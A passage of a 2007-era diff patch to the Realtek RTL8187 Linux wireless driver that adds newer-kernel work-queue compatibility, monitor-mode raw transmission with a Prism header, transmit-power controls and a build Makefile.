* the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->state == IEEE80211_NOLINK) ieee80211_start_scan(ieee); - + spin_unlock_irqrestore(&ieee->lock, flags); } @@ -2008,30 +2036,38 @@ void ieee80211_disassociate(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) ieee80211_reset_queue(ieee); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); notify_wx_assoc_event(ieee); - + } + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -2041,18 +2077,18 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; ieee80211_softmac_check_all_nets(ieee); - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) ieee80211_start_scan(ieee); - + spin_unlock_irqrestore(&ieee->lock, flags); exit: @@ -2062,39 +2098,39 @@ struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - + skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - + skb = ieee80211_get_beacon_(ieee); - if(!skb) + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } @@ -2111,14 +2147,14 @@ { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - + ieee80211_stop_send_beacons(ieee); - + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - + cancel_delayed_work(&ieee->associate_retry_wq); + ieee80211_stop_scan(ieee); ieee80211_disassociate(ieee); @@ -2135,28 +2171,28 @@ void ieee80211_start_protocol(struct ieee80211_device *ieee) { short ch = 0; - + if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - + ieee->set_chan(ieee->dev,ieee->current_network.channel); - + ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2167,18 +2203,18 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) ieee80211_start_bss(ieee); - + else if (ieee->iw_mode == IW_MODE_ADHOC) ieee80211_start_ibss(ieee); - + else if (ieee->iw_mode == IW_MODE_MASTER) ieee80211_start_master_bss(ieee); - + else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode(ieee); } @@ -2186,11 +2222,11 @@ void ieee80211_softmac_init(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2203,7 +2239,7 @@ ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - + init_mgmt_queue(ieee); #if 0 init_timer(&ieee->scan_timer); @@ -2211,7 +2247,7 @@ ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; ieee->associate_timer.function = ieee80211_associate_abort_cb; @@ -2219,28 +2255,37 @@ init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq); +#endif /// INIT_WORK(&ieee->ps_request_tx_ack_wq,(void(*)(void*))ieee->ps_request_tx_ack,ieee->dev);//for ps 07.26 - + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, (void(*)(unsigned long)) ieee80211_sta_ps, (unsigned long)ieee); @@ -2250,20 +2295,20 @@ void ieee80211_softmac_free(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - + static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver @@ -2273,7 +2318,7 @@ return 0; } - + void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ @@ -2285,7 +2330,7 @@ static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2339,7 +2384,7 @@ static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2435,7 +2480,7 @@ struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2600,7 +2645,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2644,7 +2689,7 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } diff -Naur r8187_orig/ieee80211/ieee80211_softmac_wx.c r8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- r8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-05-16 22:00:07.000000000 +0200 @@ -236,7 +236,7 @@ int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); @@ -246,7 +246,7 @@ if (wrqu->mode == IW_MODE_MONITOR){ - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } @@ -259,13 +259,37 @@ ieee80211_start_protocol(ieee); } + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; + } + + out: up(&ieee->wx_sem); return 0; } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) { +#endif short chan; chan = ieee->current_network.channel; @@ -356,7 +380,11 @@ spin_lock_irqsave(&ieee->lock, flags); if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; +#endif strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; diff -Naur r8187_orig/ieee80211/ieee80211_tx.c r8187_rawtx/ieee80211/ieee80211_tx.c --- r8187_orig/ieee80211/ieee80211_tx.c 2007-12-05 09:53:21.000000000 +0100 +++ r8187_rawtx/ieee80211/ieee80211_tx.c 2007-05-16 22:00:07.000000000 +0200 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -481,19 +486,19 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - + txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->nr_frags = 1; txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); diff -Naur r8187_orig/Makefile r8187_rawtx/Makefile --- r8187_orig/Makefile 1970-01-01 01:00:00.000000000 +0100 +++ r8187_rawtx/Makefile 2007-05-13 09:54:38.000000000 +0200 @@ -0,0 +1,36 @@ +prefix = /lib/modules/$(shell uname -r)/kernel/drivers/net/wireless +r8187dir = $(prefix)/rtl8187 +ieeedir = $(prefix)/rtl_ieee80211 + +default: all + +all: + $(MAKE) -C ieee80211 $(@) + -chmod +x symvers + -./symvers + $(MAKE) -C rtl8187 $(@) + +install: + install -d $(ieeedir) + install -d $(r8187dir) + install -m 644 ./ieee80211/*.ko $(ieeedir) + install -m 644 ./rtl8187/*.ko $(r8187dir) + -depmod -ae + +uninstall: + -rm -f $(ieeedir)/ieee80211-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_ccmp-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_tkip-rtl.ko + -rm -f $(ieeedir)/ieee80211_crypt_wep-rtl.ko + -rm -f $(r8187dir)/r8187.ko + -rm -fr $(ieeedir) + -rm -fr $(r8187dir) + -depmod -ae + +clean: + $(MAKE) -C ieee80211 $(@) + $(MAKE) -C rtl8187 $(@) + +distclean: clean + diff -Naur r8187_orig/rtl8187/ieee80211.h r8187_rawtx/rtl8187/ieee80211.h --- r8187_orig/rtl8187/ieee80211.h 2007-12-05 09:50:41.000000000 +0100 +++ r8187_rawtx/rtl8187/ieee80211.h 2007-05-16 21:51:38.000000000 +0200 @@ -108,6 +108,8 @@ #define ieee80211_start_protocol ieee80211_start_protocol_rtl #define ieee80211_stop_protocol ieee80211_stop_protocol_rtl #define ieee80211_rx_mgt ieee80211_rx_mgt_rtl +#define ieee80211_stop_queue ieee80211_stop_queue_rtl +#define ieee80211_wake_queue ieee80211_wake_queue_rtl typedef struct ieee_param { @@ -193,6 +195,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -1064,10 +1082,15 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct work_struct ps_request_tx_ack_wq;//for ps struct work_struct hw_wakeup_wq; @@ -1390,7 +1413,11 @@ extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq(struct work_struct *work); +#else extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +#endif extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, struct iw_request_info *info, diff -Naur r8187_orig/rtl8187/r8180_hw.h r8187_rawtx/rtl8187/r8180_hw.h --- r8187_orig/rtl8187/r8180_hw.h 2007-12-03 12:30:10.000000000 +0100 +++ r8187_rawtx/rtl8187/r8180_hw.h 2007-05-16 21:51:38.000000000 +0200 @@ -1,16 +1,16 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official Realtek driver. - Parts of this driver are based on the rtl8180 driver skeleton + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. - Parts of this driver are based on the Intel Pro Wireless + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -20,7 +20,7 @@ #ifndef R8180_HW #define R8180_HW -#define MAX_SLEEP_TIME (10000000) +#define MAX_SLEEP_TIME (10000000) #define MIN_SLEEP_TIME (50000) #define RTL8187_RF_INDEX 0x8225 @@ -80,7 +80,7 @@ #define EPROM_CMD_OPERATING_MODE_SHIFT 6 #define EPROM_CMD_OPERATING_MODE_MASK ((1<<7)|(1<<6)) #define EPROM_CMD_CONFIG 0x3 -#define EPROM_CMD_NORMAL 0 +#define EPROM_CMD_NORMAL 0 #define EPROM_CMD_LOAD 1 #define EPROM_CMD_PROGRAM 2 #define EPROM_CS_SHIFT 3 @@ -193,8 +193,8 @@ -/* - * Operational registers offsets in PCI (I/O) space. +/* + * Operational registers offsets in PCI (I/O) space. * RealTek names are used. */ @@ -310,7 +310,7 @@ /* following are for rtl8185 */ #define RFPinsOutput 0x80 #define RFPinsEnable 0x82 -#define RF_TIMING 0x8c +#define RF_TIMING 0x8c #define RFPinsSelect 0x84 #define ANAPARAM2 0x60 #define RF_PARA 0x88 @@ -339,7 +339,7 @@ #define MIN_RESP_RATE_SHIFT 0 #define RATE_FALLBACK 0xbe /* - * 0x0084 - 0x00D3 is selected to page 1 when PSEn bit (bit0, PSR) + * 0x0084 - 0x00D3 is selected to page 1 when PSEn bit (bit0, PSR) * is set to 1 */ @@ -380,7 +380,7 @@ /* - * 0x0084 - 0x00D3 is selected to page 0 when PSEn bit (bit0, PSR) + * 0x0084 - 0x00D3 is selected to page 0 when PSEn bit (bit0, PSR) * is set to 0 */ @@ -437,7 +437,7 @@ /* - * Bitmasks for specific register functions. + * Bitmasks for specific register functions. * Names are derived from the register name and function name. * * _[] @@ -501,7 +501,7 @@ #define TCR_HWVERID_SHIFT 25 #define TCR_SWPLCPLEN ((1<<24)) #define TCR_PLCP_LEN TCR_SAT // rtl8180 -#define TCR_MXDMA_MASK ((1<<23)|(1<<22)|(1<<21)) +#define TCR_MXDMA_MASK ((1<<23)|(1<<22)|(1<<21)) #define TCR_MXDMA_1024 6 #define TCR_MXDMA_2048 7 #define TCR_MXDMA_SHIFT 21 diff -Naur r8187_orig/rtl8187/r8180_rtl8225.h r8187_rawtx/rtl8187/r8180_rtl8225.h --- r8187_orig/rtl8187/r8180_rtl8225.h 2007-01-15 03:00:37.000000000 +0100 +++ r8187_rawtx/rtl8187/r8180_rtl8225.h 2007-05-16 21:51:38.000000000 +0200 @@ -48,4 +48,5 @@ extern u32 rtl8225_chan[]; +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); #endif diff -Naur r8187_orig/rtl8187/r8180_wx.c r8187_rawtx/rtl8187/r8180_wx.c --- r8187_orig/rtl8187/r8180_wx.c 2007-03-02 04:22:29.000000000 +0100 +++ r8187_rawtx/rtl8187/r8180_wx.c 2007-05-16 21:51:33.000000000 +0200 @@ -21,7 +21,7 @@ #include "r8187.h" #include "r8180_hw.h" - +#include "r8180_rtl8225.h" //#define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, @@ -121,22 +121,72 @@ return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; } +#endif static int r8180_wx_set_rts(struct net_device *dev, struct iw_request_info *info, @@ -836,6 +886,7 @@ } +#if 0 static int r8180_wx_radio_on(struct net_device *dev, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) @@ -871,6 +922,7 @@ return 0; } +#endif static int r8180_wx_set_channelplan(struct net_device *dev, struct iw_request_info *info, @@ -965,8 +1017,8 @@ r8180_wx_get_rts, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ @@ -1007,7 +1059,7 @@ }, { SIOCIWFIRSTPRIV + 0x6, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + 0, 0, "dummy" }, { SIOCIWFIRSTPRIV + 0x7, 0, 0, "dummy" @@ -1053,11 +1105,11 @@ }, { SIOCIWFIRSTPRIV + 0x12, - 0, 0, "radioon" + 0, 0, "dummy" }, { SIOCIWFIRSTPRIV + 0x13, - 0, 0, "radiooff" + 0, 0, "dummy" }, { SIOCIWFIRSTPRIV + 0x14, @@ -1089,7 +1141,7 @@ dummy, r8180_wx_set_scan_type, dummy, - r8180_wx_set_rawtx, + dummy, dummy, r8180_wx_set_iwmode, r8180_wx_get_iwmode, @@ -1101,8 +1153,8 @@ r8180_wx_get_sigqual, r8180_wx_reset_stats, dummy, - r8180_wx_radio_on, - r8180_wx_radio_off, + dummy, + dummy, r8180_wx_set_channelplan, r8180_wx_get_channelplan, dummy, diff -Naur r8187_orig/rtl8187/r8187_core.c r8187_rawtx/rtl8187/r8187_core.c --- r8187_orig/rtl8187/r8187_core.c 2007-03-28 08:39:13.000000000 +0200 +++ r8187_rawtx/rtl8187/r8187_core.c 2007-05-16 21:51:33.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -83,6 +83,10 @@ #define USB_VENDOR_ID_NETGEAR 0x0846 #endif +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif + static struct usb_device_id rtl8187_usb_id_tbl[] = { {USB_DEVICE(USB_VENDOR_ID_REALTEK, 0x8187)}, {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6100)}, @@ -137,7 +141,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -161,10 +165,10 @@ void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +177,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +189,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +201,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -225,20 +229,20 @@ u8 data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -251,14 +255,14 @@ u32 data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,8 +275,17 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); -void rtl8180_restart(struct net_device *dev); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_rq_tx_ack(struct work_struct *work); +#else void rtl8180_rq_tx_ack(struct net_device *dev); +#endif + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else +void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -286,12 +299,12 @@ { struct net_device *dev = data; // struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -308,7 +321,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -321,15 +334,15 @@ { struct net_device *dev = data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -341,12 +354,12 @@ { struct net_device *dev = data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + int len = 0; unsigned long totalOK; totalOK=priv->stats.txnpokint+priv->stats.txhpokint+priv->stats.txlpokint; - + len += snprintf(page + len, count - len, /* "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -363,7 +376,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -391,13 +404,13 @@ priv->stats.txerr, priv->stats.txretry, priv->stats.txbeaconok, - priv->stats.txbeaconerr + priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -407,9 +420,9 @@ { struct net_device *dev = data; struct r8180_priv *priv = 